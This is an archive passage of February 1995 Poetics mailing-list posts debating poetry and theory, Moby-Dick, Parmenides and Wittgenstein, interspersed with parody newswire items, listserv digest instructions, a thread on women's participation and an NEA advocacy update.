I believe that the "little lower layer" theory is Starbuck's. Ahab's point of view is much more black and white, while Ishmael's theory is a third one about the relative values of observation and humanity. This is a theory common to many of the 19th century writers and much discussed. The opposition of love to theory is a particularly savage one that justifies a lot of abuse and anti-intellectual essentializing. It implies that a lover can't have a theory. Aren't we all capable of divesting ourselves of these fictions of hierarchy and digesting a mutable world view? James

On Sat, 11 Feb 1995, Michael Boughn wrote:

> *"He who is not in love is driven back to theory."*
> *--Michel Serres, *Rome: A Book of Foundations**
>
> *If Ahab has a theory ("a little lower layer . . ."), what does Ishmael have?*
>
> *Best,*
> *Mike*
> [redacted]

↑ Index

177. Joe Amato
Re: deified theories
Sun 12 Feb 1995

this is such a knotty issue, but i'll risk a few premature assertions...

it's probably worth pointing out here that much of what is taken as properly theoretical these days, academically speaking, is in fact theory about theory... metatheory, that is, of one sort or another...

now not to conflate terms further, BUT theoretical practice, as i understand same, ultimately must account for itself... the logic, that is, is not one of a hermetic system (regarding which one may cite any number of related proofs contra) but one, rather, of recognized and working (conscious and quasi - conscious etc.) mutual interrelations of signifying practices with somewhat differing aims...

i say "somewhat" because there is, on the surface of it, no recourse to any but a generic preference that places, say, 'art' over here and 'theory' over there... now in practice there ARE of course distinctions, and distinctions such that one may be led to believe that art *must* be over here and theory *must* be over there... but what justification, other than an empirical (and perhaps anecdotal) claim as to the intrinsic primacy of art, can anybody make, finally, that does not bring with it either a (however carefully worked out) faith or an institutional(-historical) predisposition, and more than likely both?... that is, the 'art vs. theory' discussion is a vexed issue precisely because there would seem to be no overarching consensus as to what we might hope either practice to accomplish (in practice... and yeah, "we")...

i grant that the past couple of decades has witnessed the erosion of artistic authority (if you will) in the name largely of theory... surely this is part of the general trend, that of the movement of more and more intellectual work into the "academy"... but just as surely this need not necessarily blind anybody to the interdependencies at work between these symbolic-material 'realms'...

so to pose the question of what it is that art does over and against what it is that theory does---if i may be allowed to wax utilitarian for a moment---is to ask, essentially, how it is we regard the place of intellectual work of one sort or another given our respective public/private sites...

////in good faith...

joe (amato)

↑ Index

178. Loss Glazier
Re: deified theories
Sun 12 Feb 1995

I, for one, have some problem with the word "art" when it comes up in relation to theory. Theory I can see. There's a practical quality to it. I mean you sit down and type it out. Whether the poem precedes theory or the theory proceeds the poem is probably moot. But when does the poem turn into "art"? Isn't this something left way behind somewhere? Here's what the _American Heritage_ has to say about it:

1. Human effort to imitate, supplement, alter, or counteract the work of nature. 2.a. The conscious production or arrangement of sounds, colors, forms, movements, or other elements in a manner that affects the sense of beauty, specifically the production of the beautiful in a graphic or plastic medium.

So maybe that's my difficulty with the term. It brings up the spectre of those terms like the "beautiful" and "nature" which seem foreign to activities that might have some application to our present gatherings...

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179. Ron Silliman
Re: theory & truth
Sun 12 Feb 1995

Don Byrd wrote:
> No, I believe that _language_ cannot produce pure
>immediacy was proven by conclusive logic by Parmenides.

But that's because Parmenides didn't recognize the presence of the signifier.

Ron Silliman

↑ Index

180. Chris Stroffolino
Re: theory & truth
Sun 12 Feb 1995

Is Ron saying thus that if Parmenidies would have recognized the "presence" of the signifier that he would have been able to prove that language can produce pure immediacy????? And what does this "pure immediacy" signify for people? Can immediacy be said to be pure? Should we theorize immediacy? Is irony the expression of immediacy on the 'level' of theory? And what of the "circle"? Don Byrd spoke of the "circular dependency of immediacy and abstraction"--but if the "circle", an "ideal form" that doesn't exist "in nature", is an abstraction, this mutuality privileges the abstract (and is perhaps not mutual)... Circle line, vicious circle, Aristotle's god of pure contemplation, Short circuit. Spinning one's wheels without "intentionality" Will the circle be unbroken? When you get circulars in the mail do you consider them junk mail? IS THERE a circle, an "inner circle," "The pleasures of merely circulating"--the Blakian vortex, girl by the whirlpool looking for a new fool? Is the circle a chain, a golden chain, should we TRUST ANYTHING?

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181. **eric pape**
Re: theory & truth
Sun 12 Feb 1995

Chris asks "Can we trust anything?"
Good question. Answer: No.
Thanks, Eric.

↑ Index

182. **eric pape**
Re: theory & truth
Sun 12 Feb 1995

I'm sorry Ron. I'm confused. How is the signifier "present?" My understanding, admittedly limited and admittedly "academic" (why do I, as this I write more and more on this list,feel the need for quotations?) is that the signifier is absent and exposes the absence of the signified? Please explain. Thanks, Eric ([redacted])

↑ Index

183. **Michael Boughn**
deified theories & unfounded vocabularies
Sun 12 Feb 1995

"Vengeance on a dumb brute!" cried Starbuck, "that simply smote thee from blindest instinct! Madness! To be enraged with a dumb thing, Captain Ahab, seems blasephemous." "Hark ye yet again,--the little lower layer. All visible objects, man, are but as pasteboard masks. But in each event--in the living act, the undoubted deed--there, some unknown but still reasoning thing puts forth the mouldings of its features from behind the unreasoning mask. If man will strike, strike through the mask! How can the prisoner reach outside except by thrusting through the wall? To me, the white whale is that wall, shoved near to me. Sometimes I think there's naught beyond. But 'tis enough. He tasks me; he heaps me; I see in him outrageous strength, with an inscrutable malice sinewing in it. The inscrutable thing is chiefly what I hate . . . ."

--*Moby-Dick*, Chapter 36, "The Quarter-deck"

↑ Index

184. Michael Boughn
deified theories and unfounded vocabularies
Sun 12 Feb 1995

"A book only exists by means of an outside, a beyond. Thus, a book being itself a little machine, what measurable relationship does this literary machine have in turn with a war machine, a love machine, a revolutionary machine, etc.--and with an *abstract machine* which drives them along? We have been reproached too often for invoking literary authors. But the only question when writing is with what other machine the literary machine can be connected, and must be connected in order to function. Kleist is a mad war machine, Kafka an extraordinary bureaucratic machine . . . (and if one became animal or vegetable *through* literature, which admittedly doesn't mean "literarily," wouldn't it be first through the voice?). Literature is an arrangement; it has nothing to do with ideology. There is no ideology and there never has been."

Deleuze and Guattari, *On the Line*

↑ Index

185. Michael Boughn
deified theories and unfounded vocabularies
Sun 12 Feb 1995

Imagine this, James, that at the moment the poem enters the world, rather than having a theory as its basis (as you put it), it simultaneously engenders a theory, a counter-theory, a non-theory, several anti-poems, non-poems, and counter-poems, and in a sort clinamenic, rhizomatic fracturing that spreads across the face of the world as we know it, multiplies, swerves, joins, splits into a massive multiplicitous joyful inscrutablility in whose features we may vaguely make out something resembling the possibilty of a white whale sporting amongst what Ishmael called "young Leviathan amours of the deep."

I saw something like this once at the particle accelerator at Livermore Labs--an image of an electron which, as it approached the speed of light, disappeared completely from our space/time continuum (where the hell did it go?), only to reappear in a shower of subatomic particles, anti-particles, non-particles, and god knows what else.

Bottom line, as the Duke said: "It don't mean a thing if it ain't got that swing. Dowop shewop dowop shewop dowop shewop do."

Best,
Mike
[redacted]

↑ Index

186. Tony Green
Re: Cockney Folk Dance
Sun 12 Feb 1995

And I have never heard of Pokey flavour ice cream.
Maybe that is a New Zealand flavour. Derived from lanolin, maybe? I will be in Aukland tomorrow, and try to find some Pokey ice cream.

Well, no not quite. Ask for Hokey Pokey and you'll get something vanilla with butterscotch chips. Anyone would know that, I thought. Hence at Rotorua in the Sheraton Hotel, you'll find a Maroi concert party singing in the evening the Hokey Pokey.

My father-in-law says its the Hokey Tokey anyway and he comes from the deep south, Invercargill.

I can only assume that we are encountering here a not unfamiliar folk music situation, where local variants abound. But still, in all traditions I have heard, at some point you put your right foot (etc) in.

I am pleased to know Cokey may be a version of Cockney. The Hockney Cockney is what it should be, perhaps (David Hockney, however, comes from Yorkshire, I believe) I thought that Cokey and Tokey were perhaps more likely to be references to illegal substances.j

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

↑ Index

187. Jorge Guitart
parmenides
Sun 12 Feb 1995

---

how could parmenides prove anything conclusively by logic if change is an illusion.

↑ Index

188. **Tenney Nathanson**

Re: deified theories and unfounded vocabularies

Sun 12 Feb 1995

Since Moby Dick got in between James Sherry on one side and Don Byrd and Mike B on the other (the latter playing Ahab as theory off against Ishmael as poesis and freedom, as I understand it, it's worth drawing attention to Don Pease's terrific chapter on Moby Dick and what he calls the "cold war consensus," in /Visionary Compacts/. The point being that Ahab, in "cold war criticism," is figured as totalitarian will, from whom Ishmael's liberal symbolism (allegory versus symbol gets mobilized in the criticism as well) liberates "us." Pease is of course critical of this enabling dichotomy, and thus lines up roughly w James S. and against Mike B at least. So that poetry as opposed to (hegemonic? totalizing?) theory would if not be part of, then at least seem to have an interest in appealing to an enabling fifty year old liberal politics of containment. Curious. Tenney

On Sun, 12 Feb 1995, James Sherry wrote:

> *I believe that the "little lower layer" theory is Starbuck's. Ahab's point of view is much more black and white, while Ishmael's theory is a third one about the relative values of observation and humanity. This is a theory common to many of the 19th century writers and much discussed. The opposition of love to theory is a particularly savage one that justifies a lot of abuse and anti-intellectual essentializing. It implies that a lover can't have a theory. Aren't we all capable of divesting ourselves of these fictions of hierarchy and digesting a mutable world view? James*
>
> *On Sat, 11 Feb 1995, Michael Boughn wrote:*
>
> *"He who is not in love is driven back to theory."*
> *--Michel Serres, *Rome: A Book of Foundations**
>
> *If Ahab has a theory ("a little lower layer . . ."), what does Ishmael have?*
>
> *Best,*
> *Mike*
> [redacted]

↑ Index

189. Chris Stroffolino
Re: deified theories and unfounded vocabularies
Sun 12 Feb 1995

Or (1)--it ain't got that swing if it don't mean a thing
(2)--it don't mean a thing if it only got that swing...

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190. Donald J. Byrd
Re: parmenides
Sun 12 Feb 1995

Parmenides' proof that, if there is anything, it cannot be spoken, is one of the rare and wonderful philosophic certainties. (See, Charles Stein, ed., _Being=SPace x Action_, North Atlantic Books).

Wittgenstein makes a similar argument in Tractatus:
"Of that which we cannot speak we must remain silent."

Don Byrd

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191. Belle Gironda
M Comes Under Fire
Sun 12 Feb 1995

Subject: M Comes Under Fire
Copyright: 1999 by The Anti-Hegemony Project
Date: 2 Apr 99 02:04:99 EST

LINES: 54

BUFFALO (AHP) -- The ``mumthing different'' about ``the M'' has come under fire from poetry abuse prevention advocates who contend it has caught the fancy of underage readers.

Critics in at least 10 states have complained to Buffalo's Poetics Program about the radically transparent verbiage, saying it has a sour aftertaste like baby formula but a slightly higher confusion content than Poetics' own original brew.

They say M is increasingly consumed by juveniles, and has fostered false rumors in some areas that it is undetectable by breathalyzer tests used to prosecute poets with slurred speech.

``The product is clearly designed to seem different from regular language poetry,'' said Mark Wallace, executive director of the Center for Science in the Public Interest in Washington. ``It's

---More---

Group bleari.poesy.food available: 13 - 19 unread: 1

article 18 21-JUN-1999 03:30:00

enticing young people to consume poetic verbiage, kids that otherwise might not read the stuff. ``I think it sets a pattern of the poetic verbiage industry constantly testing the waters with different kinds of products to see if they can find ways of expanding what has been a stagnant market.'' The Poetics Program has responded to the criticism with an aggressive program emphasizing M is for adults only. It has sent letters to community leaders, book reviewers and magazine editors stating that M will register on breathalyzer equipment. ``There are always things kids are going to find appealing about what adults do,'' said Poetics spokeswoman Charlotte Pressler. ``We feel we have very effectively addressed all of the issues overall.'' ``apex of the M,'' packaged in a red cover, splashed onto the poetic scene in Spring 1994, catching on in a slick, quick-moving editorial campaign where words with a New Age connotation were substituted for the more formalist vocabulary of traditional language writing.

---More---

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article 18 21-JUN-1999 03:30:00

``Opaque'' was out, ``transparent'' in. ``Shelley'' replaced ``Shklovsky,'' ``love'' replaced ``method.''

This Fall a new campaign, with the slogan ``M is mumthing different,'' was unveiled on the internet.

M has a confusion content of 3.7 percent by weight, compared with language poetry's confusion content of 3.6 percent by weight, Pressler said.

The transparent verbiage has become one of the most successful new products in the industry, and has been credited for much of Poetics' recent revenues.

Poetry abuse prevention advocates say they began noticing increased M consumption among juveniles last spring.

In Albany, N.Y., poetics police reported large quantities of M at juvenile drinking parties, said Betsy Burns, program coordinator for the county's Drawing the Line on Underage Poetry Use.

That county also is where the false rumors about the breathalyzer detection spread to the point that Burns' group made a video of a literary critic (Jeff Hansen) getting confused by M. The video showed the test detecting this confusion.

---More---

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Since the prevention efforts began, there has been a decrease in the number of complaints, Burns said. One factor could be that more parents have become aware that M is adult verbiage, she said.

Kevin McGee of the Marin Institute, a poetry abuse prevention group in Marin County, Calif. said he has noticed an increase in M use among younger college students who have been ``very taken by the editorials and have embraced M.''

``The whole `mumthing different' is for a generation that's looking to define itself but doesn't know what to say,'' said McGee. ``It plays off that myth that something like poetics won't affect you the same way free verse or hard poetry will.''

Inquiries to the Poetics Program about M peaked at about 200 in May; in the last three months of 1994, inquiries totaled about 10 a month, said Pressler.

``We feel we have very effectively addressed the issues overall,'' she said.

Yunte Huang, group manager of confusion issues at Poetics, said the program has financed some poetry abuse prevention aimed at

---More---

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article 18 21-JUN-1999 03:30:00

underage drinkers.

``We are very concerned and it is not our intent that this is a product that is consumed by youth,'' he said.

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192. Mn Center For Book Arts

Re: deified theories and unfounded vocabularies

Sun 12 Feb 1995

Generally I like to refer to Deleuze & Guattari, but I do believe that the relations between/among "book" & "literature" are entirely problematic, and I can more easily embrace the concept of book as machine than literature as one.

I also find most statements that, as D. Byrd says, poems "incorporate" theory to be too pat. They may do so, but hopefully in a way which enables both theory and poetry to be anything but dogmatic and inflexible.

Please explain, Spencer, what "level" art has. Art has its own level, is this like one of Dante's circles in the Inferno, or somewhere up some other cosmological ladder? Can art or theory really be divided so clearly from one another or from any number of other practices we can name, like work, state, love, morality?

charles alexander

↑ Index

193. Jorge Guitart
parmenides & wittgenstein
Sun 12 Feb 1995

1. `there is anything (=something [same word in Greek i believe) is T, since here is for instance the net; 2. 'it cannot be spoken' is F since it is self contradictory; 3.  therefore 'if there is anything, it cannot be spoken' is F since `p > q' is F' whenever q is F, regardless of the T-value of p.

---

wittgenstein went on writing post-tractatus & wrote about things he could not know.

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194. Martin Spinelli
** AHP LANGUAGE ADVISORY **
Mon 13 Feb 1995

Date: 7 Apr 99 01:55:00 EST

```
*****************************************************
*            NOTICE TO ALL STATIONS                 *
*****************************************************
*                                                   *
*   A LANGUAGE ADVISORY IS IN EFFECT FOR THE PROGRAM  *
*                                                   *
*       "Sound & Sense / Poetics Today"  (4/7)      *
*       16:00                                       *
*       SATCHAN  3                                  *
*       PEV      007                                *
*                                                   *
*   THE WORD "class" OCCURS SEVERAL TIMES IN THE      *
```

```
*   SENATOR AMATO INTERVIEW IN SEGMENT C-1          *
*                                                   *
*   1:21 INTO THE SEGMENT "...poetry break for      *
*       the middle-class..."                        *
*                                                   *
*   AND AGAIN 4:03 INTO THE SEGMENT "...the         *
*       President and his class war..."             *
*                                                   *
*   DELETE AS PER LOCALLY MANDATED GUIDELINES.      *
*                                                   *
*****************************************************
```

↑ Index

195. **Donald J. Byrd**

Re: parmenides & wittgenstein

Mon 13 Feb 1995

> *1. `there is anything (=something [same word in Greek i believe) is T, since here is for instance the net;*
> *2. 'it cannot be spoken' is F since it is self contradictory;*
> *3. therefore 'if there is anything, it cannot be spoken' is F since `p > q' is F' whenever q is F, regardless of the T-value of p.*
>
> *----------*
>
> *wittgenstein went on writing post-tractatus & wrote about things he could not know.*

That is, Wittgenstein gave up the possibility of presentational immediacy and the transcendental signifier, and decided to use ordinary language... The proof is not the existence of a transcendental sign, but that, if there _is_ a transcendental sign, it cannot be spoken.

I do not understand the demonizing of the transcendental signifier in Language poetry theory. In fact, as attractive as the idea is from an emotional point of view, it is not an important idea in western logic. Those who have taken it seriously have tended, like Wittgenstein, to give up on the idea.

If it is too rigorous for scientific logic, its existential requirements are too stringent for poetry, which is after all predicated as a fiction. Even the poet who claims a transcendental signifier does not.

Don Byrd

↑ Index

196. Charles Bernstein
DIGEST option: how to get less messages
Mon 13 Feb 1995

If you would prefer to receive one message from the Poetics list each day, which would include all messages posted to the list for that day, you can now use the digest option:

Send this one-line message (no subject line) to

[redacted]

set poetics digest

!!Send this message to "listserv" not to Poetics or as a reply to this message!!

You can switch back to individual posts by sending this messagage:

set poetics mail

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197. Mark Wallace
Re: reified names vs. boundless vocabulary
Mon 13 Feb 1995

What role does the differing institutional (academic and otherwise) authority given to "theory" and "art" in a context in which they are definitely understood as separate have to do with this current debate? I'm tempted to say that if you want to be listened to, you better call yourself a theory.

We could probably use the words "theory" and "art" anyway we want (would that make me Wittgensteinian, in a sense?) but that doesn't mean anybody else is going to (I know that does make me Wittgensteinian).

mark wallace

↑ Index

198. Tenney Nathanson
Re: DIGEST option: how to get less messages
Mon 13 Feb 1995

---

and to undo that option, Charles?

is it just

set poetics nodigest

(or "indigest" perhaps?)

↑ Index

199. Tenney Nathanson
Re: DIGEST option: how to get less messages
Mon 13 Feb 1995

actually I tried this last spring, got no messaes for 3 months, and then a single, roughly 200 screen (or more) message in September. Hence my interst in knowing how to turn the option off, just in case.

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200. James Sherry
Re: deified theories and unfounded vocabularies
Mon 13 Feb 1995

Nice formulation that may address also Loss' concern.

On Sun, 12 Feb 1995, Michael Boughn wrote:

> *Imagine this, James, that at the moment the poem enters the world, rather than having a theory as its basis (as you put it), it simultaneously engenders a theory, a counter-theory, a non-theory, several anti-poems, non-poems, and counter-poems, and in a sort clinamenic, rhizomatic fracturing that spreads across the face of the world as we know it, multiplies, swerves, joins, splits into a massive multiplicitous joyful inscrutablility in whose features we may vaguely make out something resembling the possibilty of a white whale sporting amongst what Ishmael called "young Leviathan amours of the deep."*
>
> *I saw something like this once at the particle accelerator at Livermore Labs--an image of an electron which, as it approached the speed of light, disappeared completely from our space/time continuum (where the hell did it go?), only to reappear in a shower of subatomic particles, anti-particles, non-particles, and god knows what else.*
>
> *Bottom line, as the Duke said: "It don't mean a thing if it ain't got that swing. Dowop shewop dowop shewop dowop shewop do."*
>
> *Best,*
> *Mike*
> [redacted]

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201. **Charles A. Baldwin**
``FREE BARRY'' (fwd)
Mon 13 Feb 1995

Subject: Famous Killer Whale Set Free
Copyright: 1999 by The Anti-Hegemony Project
Date: 1 Mar 99 00:00:01 PST

Lines: 53

SAN FRANCISCO (AHP) -- This time he has a reason to leap. Watten, the killer whale made famous by the film ``Free Barry,'' is heading toward a new home in Michigan and eventual freedom, his owners announced yesterday. The Berkeley amusement park where Watten has lived for the past decade signed an agreement donating the 3.5-ton mammal to the Free Barry-Watten Foundation, which plans to eventually free him in waters off Japan after a rehabilitation period at the Wayne State Aquarium in Detroit. The amusement park said the 15-year-old whale, captured off the coast of Japan at age 2, has performed for over a hundred visitors over the past 10 years. Efforts to free him have been underway since the Poetry Flash film was released.

---More--

Group bleari.poesy.animals available: 1 - 10 unread: 10

article ``writing degree zero'' 29-FEB-1999 24:00:00

``Watten will be the only captive lang-po whale that doesn't have to do shows or perform,'' Patrick Phillips, director of the foundation, said at a news conference yesterday.

The foundation plans to move him in November.

In many ways, Watten is like a typical human teen-ager -- he's got skin problems, has grown (to 21 feet), and now wants a girlfriend.

``He requires more space, different conditions and also a companion,'' said Svetlana Alpers, a spokeswoman for the Berkeley habitat Representations.

Phillips said the park ``received letters and proposals of aid from all over the world.'' He said it waited until receiving ``an absolute guarantee'' that conditions in the killer whale's new home would be adequate.

Phillips said the entire project will cost ``a heck of a lot of moolah'' over four years and include Watten's ``relocation, rehabilitation, possible mating, possible liberation and investigations into the whereabouts of the family of Watten.''

That includes funds to build an expensive, 2-million-gallon

---More---

Group bleari.poesy.animals available: 1 - 10 unread: 10

article ``writing degree zero'' 299-FEB-1999 24:00:00

tank at the Michigan aquarium.

Experts said Watten needs to be trained gradually for life at sea -- weaned, for example, from eating dead fish to eating live ones.

``Watten, who has passed all his life away from the sea, would encounter serious difficulties feeding himself, caring for himself and surviving by himself in a hostile environment,'' Phillips said.

So far, the foundation has collected about half the needed funds, including a generous grant from Poetry Flash and George Lakoff Inc., creators of ``Free Barry.''

The money raised includes a small sum from former students at San Francisco State Elementary School, who conducted a letter-writing campaign and saved pennies.

They began sending letters in last month to prominent businessmen and individuals, including marine sociobiologist Jacques de Certeau.

Certeau sent no money, but praised the children for their efforts. Singer Jimmy Buffett sent $500.

---More---

Group bleari.poesy.animals available: 1 - 10 unrad: 10

article ``writing degree zero'' 29-FEB-1999 24:00:00

Further fund-raising efforts will be tied to a Poetry Flash sequel due for release next summer.

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202. H. T. KIRBY-SMITH

(Fwd) (Fwd) Re: (Fwd) Re: parmenides & wittgenstein

Mon 13 Feb 1995

Perhaps this comment by Jarret Leplin may help to clarify the Wittgenstein/Langpo connection:

". . . the falsehood (if that's that 'F' means) of q does not establish the falsehood of p>q (assuming that '>' is intended to represent conditionalization). A conditional may be either true of false consistently with the falsehood of its consequent. Also, 'it cannot be spoken' is certainly not contradictory. Of

course, there are few things of which it is natural to say that they are spoken: languages, certain incantations, or perhaps texts that would normally be read rather than spoken. Many languages cannot be spoken by many people; perhaps some - ancient ones, for example - cannot be spoken at all. Whether or not it cannot be spoken depends on the referent of 'it'; there's nothing wrong with the form. More generally, to assert that something cannot be spoken is not to speak it, nor is to deny that something can be explained or expressed to explain or express it. "

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203. **James Sherry**

Re: reified names vs. boundless vocabulary

Mon 13 Feb 1995

Also thanks to Don Byrd who at least refers to the next point in this discussion which is the multiplicity of relations between theory and poetry in the various poetries which this group is fond of referencing. A matrix of readings of poetries with their theoretical biases would be interesting to me, although obviously hypothetical as someone pointed out already.

But as I have said the more articulate new responses today (Monday) only make we want the more to discuss how the main question for poets today, at least from my point of view, is the relationship of poetry to other disciplines to the shared, extended texts of science, law, fiction, news, philosophy, politics, medicine. This question applies to the role of poetry in the society and culture, to the uniqueness of poetry which Tom raises below, to the lineage of poetry itself which cannot be described in any one way because each new set of poetries redefines the history...

I guess I don't think that there is any one way to view poetry so Tom's question can't be answered from here. But the relationship of poetry to other disciplines is periodically said to lead nowhere and someone last week referred to Lamb or another 19th century critic's approach that we need a point of view to avoid chaos.

I guess chaos is chiefly what I'm after in the sense of a term that does not have apparent order but rather an underlying order and is both generative of order and subltly influencing more overt kinds of order with its own subversive similarities at different "levels" or on different scales.

I don't have a good way to talk about this yet, but wanted to address the issue to the group, especially now that a wider purview is being taken on the subject. Jamse

On Fri, 10 Feb 1995, Tom Mandel wrote:

> *re: James' "every poem has a theoretical basis,"*
>
> *I think it's clear what that means if it is understood more or less along the lines of 'every statement has a theoretical basis' or 'every empirical fact has a theoretical basis.'*
>
> *Is there some further sense, special to poetry, in which each example has a theoretical basis (or implies a theory, or however you'd formulate it)?*
>
> *Tom*

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204. Nick Lawrence
Leeches Find Love
Mon 13 Feb 1995

> *Subject: Leeches find love in intimate poet reaches*
> *Copyright: 1999 by The Anti-Hegemony Project*
> *Date: 0 May 99 10:20:30 EST*
>
> *Lines: 20*
>
> *NEW YORK (AHP) - Bio-linguists have found the secret trysting place for one species of academic leech and their discovery explains why it remained unrevealed for so long -- its home is inside a poet's rectum.*
> *The leech, Criticarius Theoretici, is closely associated with poets. The leech does not attach itself to any other animal and has the same texture as a poet's thick hide.*
> *``New Scientist,'' in-house magazine for Lang-Po Labs, quoted the researchers -- James Sherry of Bowery College and Tom Mandel of Yorick University -- as saying they had found several leeches inside the rectums of recently killed and dissected poets.*
> *The leeches were swimming around freely, rather than*
>
> *---More---*
>
> *Group bleari.poesy.animals available: 333 - 999 unread: 222*
>
> *article 777 32-MAY-1999 20:30:40*
>
> *sucking blood, and had bulky sperm cases sticking out from their bodies, leading the bio-linguists to believe they were mating.*

> *Leeches are hermaphrodites, carrying both male and female sexual organs.*
> *``There are obviously some very interesting adaptations,'' Sherry said. ``But to find out more it would be necessary to work with a live poet and that's a very dangerous creature.''*

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205. **Jorge Guitart**
p>q re parmenides, etc.
Mon 13 Feb 1995

---

p>q (if P, then Q) is TRUE WHENEVER p is FALSE --regardless of the truthvalue of q (.e.g. if a and not a, then (whatever), is ALWAYS true, whether whatever is true or false.

So i can start from something that is false and say anything i want.

check it out

"i cannot speak OF x" is FALSE because i am speaking of x.

---

there are some poems such that they are poems and transparent

---

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206. **cris cheek**
A Cockney Sparrow
Mon 13 Feb 1995

Tom, Mio apologia for taking liberty with language.

Gone Skating (finagled from Arthur Dove)

cris

p.s. I also had missed the connection but 'O Sole Mio' is sang as 'Just One Cornetto' for a Walls Ice Cream ad on TV here which does seem to provide the basis for a sustainable connection, via this as yet unsubstantiated Pokey flavour from Auckland, between East London and Naples.

Questions follow:

1.The East London version always starts with 'you put you left (whatever) leg in' and so on - I'm worried that the folk myth has got lost in its translation to

connect Pokey with a reorientation towards the right foot, can you or anybody else here possibly clear this up? Otherwise the ramifications of possible relations between Losely (high culture ice cream manufacturers but arguably Cockney rhyming slang for Mosely - as in Oswald and his blackshirts, resurgent in East London even as we post) and Mussolini will lead to melted sleep.

2. Have I stumbled onto the origins of 'sang froid'.

Sorry to labour this,
love cris

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207. Ron Silliman
Boy Talk
Mon 13 Feb 1995

Am I right that Rae Armantrout's comment about the San Diego Union article on Freely Espousing on February 3 (a full 10 days ago) was the last posting by a non-male reader of this list? What gives? It feels like the shower room at a men's health club....

Here's a question or two for (primarily) the non-males who read this list?

Why do you lurk without posting?

What would it require to change this?

Are there other venues (listserv discussion groups in particular) where you are more active?

If so, what do they do differently?

Fraternally,
Ron Silliman

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208. Who Is That Masked Person?
Point or Order, Ms. Chairman
Mon 13 Feb 1995

POINT OF ORDER, MS. CHAIRMAN, or
"A Blow Is Like an Instrument"

So a guy comes over to me, very agitated -- we're just a block from Lincoln Center, across the street from the new Sony Imax theater -- and he says, "How d'ya get to Carnegie Hall?"

--"Theory."

[blackout]

Maybe the relation of theory practice is like the relation of strategy to tactics; then again, maybe theory's tactical and poems strategic. Or maybe it's like the relation of body to mind, or then again, mind to body (the best picture of an aesthetic is a work of art and vice versa).

[blackout]

[flashback, 1968]

I theorize
you theorize
he/she/it theorizes

we theorize
you theorize
they profit

[blackout]

"Theory enacted into writing practice is suspect, demeaned as unprofessional. But that is because theory so enacted ceases to be theory -- a body of doctrine -- insofar as it threatens with poetry or philosophy. Theory, prophylacticly wrapped in normalizing prose styles, is protected from the scourge of writing and thinking as active, open-ended, and investigatory. ... Can Continental philosophy be understood in the absence of Continental literature? Or does Continental philosophy without Continental literature equal American literary theory?" --from "Frame Lock", College Literature, Winter 1993

[blackout]

Shorty Petterstein interview (Lenny Bruce)

> *How would you compare the kind of music you play with a, how would you compare that with art, you know, what kind of art, artistic ...?*

Man like I think Art blows the most, I mean, uh, he came with the band about three years ago, man, dig, and, uh, like, he was a real uh you know small town cat -- and I mean he was swinging, man, but he was a small time cat. And I mean he started to blow with us and he was real nut, you know, cool. ...

> *What would you advise the young artist, the young musician, to do? Would you advise him to get an academic education or strive immediately for self-expression?*

Well, man, I mean, I'm a musician, dig. And I mean to me the most important this is that you should blow, you know. ... If a cat wants to blow and he wants to blow, and uh then he's got to have a scene where he can blow.

> *That would apply to the artists playing horns and wind instruments, they would have to blow. What about those, for example, who are playing string instruments? Or would you say, how's the picture there?*

Well, I mean, you know, it's, uh, pretty much all the same, man. A blow is like an instrument, you know.

[blackout]

POEM BEGINNING WITH A POORLY TRANSLATED LINE OF PESSOA

So my wife says to me this morning
As so often she has
"Don't give me another one of your theories"

--Charles Bernstein (C) 1995 Poets Ludicrously Aimless Yearning (PLAY)

↑ Index

209. Charles Bernstein
from Charlotte Pressler (fwrd): Little Mary Sunshine
Mon 13 Feb 1995

An error occurred while processing file 0318 from [redacted]: "Mail has been received for delivery to the POETICS list from a user which had been served out".

---------- Message causing the problem (55 lines) ----------
Date: Mon, 13 Feb 1995 20:36:51 -0500 (EST)
From: Charlotte Pressler <[redacted]>
Subject: Little Mary Sunshine
To: [redacted]

Ron Silliman's question (why do so few women on this list post) tempts me to delurk briefly. I enjoy reading e-mail, including the poetics list -- but this form of communication, like any other, seems to have its strengths and limits. E-mail seems to me to be a good way to ask specific questions and communicate specific kinds of information rapidly and effectively (book lists, the Freely Espousing communiques, calls for papers). It's also a good way to argue positions for the most part already formed. The quick cut-and-thrust of single-screen messages, though, seems as though it might hamper the reception of more tentative or exploratory postings. People read their e-mail fairly quickly, and I don't think many people save it for later reading or download it to a printer. Disk space might be limited, too -- at least it is at UB. So, for the most part, once a message is scanned, however it's scanned, it's gone. Not much opportunity for re-vision. So, apart from its bulletin-board functions, e-mail seems to work best for people who like to respond quickly and concisely to well-defined arguments.

I prefer to have a good bit of time to think over a written message, and to publish it in a format that allows for re-reading. I've stung myself in the past by offering too-rapid reactions; but I've also found that in sharp debate, reactive responses come to dominate over exploratory ones. So I find it best to work through my own often somewhat divergent responses to current topics either off-list, or in work written for print publication, or in conversation with friends. Possibly this is a gender difference; I'm not sure it's entirely that. There's also the uneasy position of divergences that don't quite attain to the sharp clarity of an oppositional statement. I tend to diverge in just this way -- should I call it "radical opacity"? :-) So I tend to lurk on lists, including this one. Apart from this post.

Charlotte Pressler/[redacted]/SUNY at Buffalo

Hear "The Lime Works" Thursdays 10 pm - 1 am on WRUB -- UB cable channel 7. Experimental/electro-acoustic/post-classical/improvised music and sound art.

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210. Steve Evans
Espousing 2/13
Mon 13 Feb 1995

Correction to Arts Wire Congressional Schedule
Good News from LitNet
Bad News from the Midwest
Action Hotlines
NEH Annual Report

Correction to Arts Wire Congressional Schedule

On 10 Feb, Marshall Reese was kind enough to forward a posting from Arts Wire that included a tentative schedule of Congressional action affecting the NEA/NEH/IMS.

The first item in that schedule, a Senate Subcommittee hearing of public NEA witnesses and NEH/IMS administration and public witnesses, has been moved back ten days. The Education, Arts & Humanities Subcomittee (chaired by James Jeffords, R-VT) will begin hearing these witnesses on 23 February.

The relevant hearing this week is Thursday's meeting of the House Interior Appropriations Subcommittee (chair Ralph Regula, R-OH). Walter Cronkite, Ken Burns, and David McCullough are schedule to testify.

Good News from LitNet

Anne Burt at LitNet reports that 15,000 pieces of pro-NEA mail were delivered last week to the district office of Senator Slade Gorton (who chairs the Senate

Appropriations Interior SubCom). Someone's doing a hell of a job organizing out there!

Through a wonderful sequence of events, Anne has also gotten Tower Records/Books to commit to distributing LitNet materials in *all* their stores nationwide. The corporation has even volunteered to do displays about the NEA in each store. Once this plan is implemented, it may be useful to give local store managers a call & see what else they might be willing to do. In any case, a quick thank- you call seems warranted.

Bad News from the Midwest

